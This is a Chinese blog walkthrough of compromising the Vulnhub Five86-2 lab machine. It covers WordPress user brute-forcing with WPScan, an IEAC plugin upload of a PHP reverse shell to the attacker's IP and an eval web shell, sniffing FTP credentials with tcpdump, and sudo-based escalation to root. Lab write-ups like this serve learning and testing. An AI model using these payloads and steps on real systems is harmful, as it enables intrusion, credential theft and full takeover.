Vulnhub靶机Five86-2渗透笔记

编程入门 行业动态 更新时间:2024-10-10 00:30:01

文章目录

  • 1.环境搭建
  • 2.信息收集
      • 2.1 主机发现
      • 2.2 端口扫描
      • 2.3 访问80端口(http服务)
      • 2.4 目录爆破
  • 3.漏洞利用
      • 3.1 查找有关WordPress 5.1.4版本的漏洞
      • 3.2 WPscan 破解账户密码
      • 3.3 反弹shell
          • 第一步:生成一句话木马文件
          • 第二步:压缩一句话木马文件
          • 第三步:上传压缩文件并获取shell
  • 4.提权
      • 4.1 使用python3切换至交互式shell
      • 4.2 使用tcpdump工具对21端口进行监听
      • 4.3 使用peter权限免密执行service
      • 4.4 修改root用户密码,获取权限
  • 5.总结

1.环境搭建

靶机环境搭建
攻击渗透机: kali IP地址:192.168.33.139
靶机:Five86-2 IP地址未知
靶机下载地址:http://www.vulnhub/entry/five86-2,418/

2.信息收集

2.1 主机发现

因为是搭建的虚拟机,所以靶机与主机在同一个网段中,使用netdiscover命令去扫描获取靶机的IP地址

netdiscover


扫描获取到目标靶机IP地址为:192.168.33.149

2.2 端口扫描

使用端口扫描神器nmap来扫描获取目标开放了那些端口以及服务

nmap -T4 -sV -A -O -p- 192.168.33.149


使用这种扫描方式,缺点是扫描时间花费较多,且被发现概率极大,但因为这里的靶机,所以无关紧要了。优点就是扫描结果详细,能查看到目标靶机开放的端口,服务,版本信息以及主机版本信息。
扫描发现目标靶机只开放了80端口(http服务),CMS使用的为WordPress并且版本为5.1.4,这样我们等会就可以使用searchsploitWPscan针对WordPress进行漏洞利用

2.3 访问80端口(http服务)

目标靶机开放着80端口,访问目标80端口,查看是否存在可用信息

点击均无反应,猜测是解析不了域名导致的,打开**/etc/hosts**文件,并在其中添加上对应信息

192.168.33.149  five86-2


再次访问目标主机80端口

发现可以成功访问到了,并且发现了后台登陆界面

2.4 目录爆破

即使已经发现了目标网页的后台登录界面,我们也要进行一下目录爆破,寻找是否存在有其他可利用的目录

发现了一个上传目录,但是里面却并没有文件,猜测目标网页中是存在上传文件服务的

3.漏洞利用

3.1 查找有关WordPress 5.1.4版本的漏洞


使用searchsploit进行查找

searchsploit  WordPress 5.1.4


但却并未找到有关该版本的漏洞

3.2 WPscan 破解账户密码

目标使用的是WordPress,那我们就可以使用WPscan进行针对性漏洞利用。只要看到目标CMS使用的是WordPress,我们就可以使用WPscan
先使用WPscan对目标网页进行扫描,寻找有无漏洞

wpscan --url http://192.168.33.149


没有找到存在漏洞,也没发现什么可用信息。我们在上面找到后台了登录界面,那我们只需要找到用户名和密码中的其中一个我们就可以轻松破解。
使用WPscan枚举网页中出现的用户名用以进行爆破

wpscan --url http://192.168.33.149 --enumerate u


枚举到网页中存在5个用户

peter
admin 
barney 
gillian 
stephen

新建一个文件,将这五个用户填写进去用以进行爆破

使用WPscan利用刚才获取到的用户名以及kali中的 /usr/share/wordlists/rockyou.txt 密码字典文件进行爆破 (注意:rockyou.txt密码字典文件如果是第一次使用的话,请前往 /usr/share/wordlists/ 目录,先进行解压,之后才能开始使用)

wpscan --url http://192.168.33.149 -U /home/liver100day/桌面/user.txt -P /usr/share/wordlists/rockyou.txt
#注意:这里两个字典文件最好使用绝对路径


破解相当花时间!!!最后破解出,目标网页

用户名:barney   密码:spooky1
用户名:stephen   密码:apollo1

既然知道了用户名和密码,我们现在就使用用户名:barney 密码:spooky1进行登录

成功登录进目标网页后台管理界面

3.3 反弹shell

点击Plugins,可以看到这个站点安装了三个插件,但是只激活了一个Insert or Embed Articulate Content into WordPress Trial(IEAC),另外两个处于关闭状态

百度搜索了一下,不难搜到这个插件的RCE:WordPress插件IEAC漏洞分析及组合利用尝试
该插件主要是可以快速的向文章中嵌入自己的学习内容(e-Learing),同时该插件可以直接对zip压缩文件进行处理,文件可以先压缩到zip中再一起上传到服务器中。那我们就可以生成一个一句话,压缩成zip文件再上传,这样这个插件就可以直接对压缩小马进行处理,我们就可以获取到目标shell了


并且提供了复现过程,那我们就可以开始进行漏洞利用了

第一步:生成一句话木马文件
<?php $sock=fsockopen("192.168.33.139",9966);exec("/bin/sh -i <&3 >&3 2>&3");?>

第二步:压缩一句话木马文件
zip test.zip test.php


成功压缩

第三步:上传压缩文件并获取shell

先点击Posts,再点击Add New

点击 + 号

选择 e-Learning

上传刚刚压缩好的文件

报错了,提示说在zip文件里面,并没有找到html文件,那我们就在zip文件里面添加一个html文件

生成一个html文件,并重新将html文件和一句话木马文件一起压缩

再次进行上传

选择Insert As iFrame,再点击INSRT进行上传

上传成功后给了我们上传后文件的保存路径,wp-content/uploads/articulate_uploads/test710/test.php
在终端中监听9966端口

访问上传的木马文件,却发现秒断了,得上传其他形式的木马

那接下来我们就尝试上传一句话木马,然后蚁剑进行连接
一句话木马文件如下:

<?php @eval($_POST['123']);?>


继续与index.html文件一起进行压缩

再次进行上传

上传成功后,打开蚁剑

蚁剑是并没有集成到kali中的,所以你需要自行安装
可参照我写的这篇文章进行安装:https://blog.csdn/liver100day/article/details/120222378
进行蚁剑连接

连接成功!但是两个虚拟机cpu太满了,如果我们在这里执行过多命令会出错,所以还是反弹个shell吧,在蚁剑中的**/var/www/html/wp-content/uploads/articulate_ uploads**目录下新建一个文件夹,并在新建的文件夹中生成一个小马

<?php $sock=fsockopen("192.168.33.139",9966);exec("/bin/sh -i <&3 >&3 2>&3");?>


再生成一个html文件

在kali终端中打开监听

在蚁剑里面选择打开终端

输入命令执行小马文件

php test.php (test为自己设置的文件名)


反弹shell成功,但是权限很低,无法执行许多命令

并且无法以root权限执行任何命令,面领提权问题

也无法切换至交换式shell

4.提权

检查内核,查询是否有漏洞可以利用

uname -a


内核版本过高,无法使用内核提权,这时候想起来,我们之前使用WPscan还破解出了另外一个用户的密码,我们切换至另外一个用户看看
用户名:stephen 密码:apollo1

成功切换

4.1 使用python3切换至交互式shell

但是这样并不适于我们操作,使用python切换至交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'


报错了,怀疑是python版本问题,将python改为python3再次尝试

python3 -c 'import pty;pty.spawn("/bin/bash")'


成功!这样就很符合我们平时常用的终端了
查询stephen用户的一些基本信息

stephen用户同样无法以root权限执行任何命令
到这里我就懵了,看了别人写的文章才知道,在nmap扫描时,是会扫描出目标还开启了20端口,21端口(ftp服务)的,但是不知道为什么我使用nmap却只扫描出了80端口,怀疑是nmap叛变了😒

我们查看一下当前在运行的进程

ps -auxwww


在进程的最下面发现了paul用户创建了ftp,我们可以使用tcpdump工具获取ftp的明文信息

4.2 使用tcpdump工具对21端口进行监听

tcpdump的使用方法和参数:

-c:指定要抓取的包数量。

-i interface:指定tcpdump需要监听的接口。默认会抓取第一个网络接口

-n:对地址以数字方式显式,否则显式为主机名,也就是说-n选项不做主机名解析。

-nn:除了-n的作用外,还把端口显示为数值,否则显示端口服务名。

-P:指定要抓取的包是流入还是流出的包。可以给定的值为"in"、"out"和"inout",默认
为"inout"。

-D:列出可用于抓包的接口。将会列出接口的数值编号和接口名,它们都可以用
于"-i"后。

-F:从文件中读取抓包的表达式。若使用该选项,则命令行中给定的其他表达式都将失效。

-w:将抓包数据输出到文件中而不是标准输出。可以同时配合"-G"

"time" 选项使得输出文件每time秒就自动切换到另一个文件。可通过"-r"选项载入这些
文件以进行分析和打印。

-r:从给定的数据包文件中读取数据。使用"-"表示从标准输入中读取。

查看可监听的接口
tcpdump -D

发现了8个可监听的接口,监听veth4fa8b8e 21端口

tcpdump -i veth0e6caed port 21 -nn -v


监听到了paul用户以及它的密码
用户名:paul 密码:esomepasswford

4.3 使用peter权限免密执行service

切换至paul用户

成功切换

发现paul用户可以使用peter权限免密执行service,可以获得peter权限,直接service ../../bin/bash即可进行提权

sudo -u peter service ../../bin/bash


成功提权到peter用户,发现peter用户权限很大,关键是可以以root权限执行/usr/bin/passwd

4.4 修改root用户密码,获取权限

那我们就可以直接修改root用户密码,就可提权到root用户

sudo -u root /usr/bin/passwd root


成功修改root用户密码为toor,切换至root用户

成功登录进root用户,最终在root用户根目录,找到了flag

获取到了root权限,那这台靶机就已经完全被我们攻破了

5.总结

1.学习了网站CMS为WordPress的插件**Insert or Embed Articulate Content into WordPress Trial(IEAC)**的功能,以及漏洞利用方法和漏洞原因
2.成功的在kali里面安装了蚁剑,操作和在windows中相同
3.第一次使用tcpdump工具监听ftp

最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!

更多推荐

Vulnhub靶机Five86-2渗透笔记

本文发布于:2023-06-13 21:00:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1404598.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:靶机   笔记   Vulnhub

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!